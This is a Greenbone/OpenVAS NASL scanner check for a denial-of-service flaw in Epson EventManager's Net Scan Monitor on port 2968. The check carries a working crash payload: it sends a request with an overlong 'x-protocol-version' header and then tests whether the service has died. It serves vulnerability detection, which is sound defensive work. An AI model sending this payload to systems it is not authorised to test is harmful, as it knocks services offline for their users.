Epson EventManager 'x-protocol-version' Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902824");
  script_version("2025-03-05T05:38:53+0000");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2012-03-28 15:15:15 +0530 (Wed, 28 Mar 2012)");
  script_name("Epson EventManager 'x-protocol-version' Denial of Service Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/48382");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52511");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/74033");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18602");
  script_xref(name:"URL", value:"http://www.securelist.com/en/advisories/48382");
  script_xref(name:"URL", value:"http://aluigi.org/adv/eeventmanager_1-adv.txt");
  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports(2968);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to cause the
  application to crash, creating a denial of service condition.");

  script_tag(name:"affected", value:"Epson EventManager 2.50 and prior.");

  script_tag(name:"insight", value:"The flaw is caused  due to an error in the Net Scan Monitor
  component when handling HTTP requests. This can be exploited to cause a crash
  via a specially crafted request sent to TCP port 2968.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Epson EventManager is prone to a denial of service vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");

port = 2968;
if(!get_port_state(port))
  exit(0);

req1 = string('GET / HTTP/1.1\r\n',
              'x-uid: 0000000000000000000\r\n',
              'x-protocol-version : 1.00\r\n',
              'x-protocol-name: Epson Network Service Protocol\r\n\r\n');
res = http_send_recv(port:port, data:req1);
if(!res || "Server : Epson Net Scan Monitor" >!< res)
  exit(0);

req2 = ereg_replace(pattern:"x-protocol-version : 1.00", string:req1,
       replace:"x-protocol-version: 1.000000000000000000000000000000");

res = http_send_recv(port:port, data:req2);
res = http_send_recv(port:port, data:req2);

sleep(3);

if(!res) {
  res = http_send_recv(port:port, data:req1);
  if(!res) {
    security_message(port:port);
  }
}

exit(0);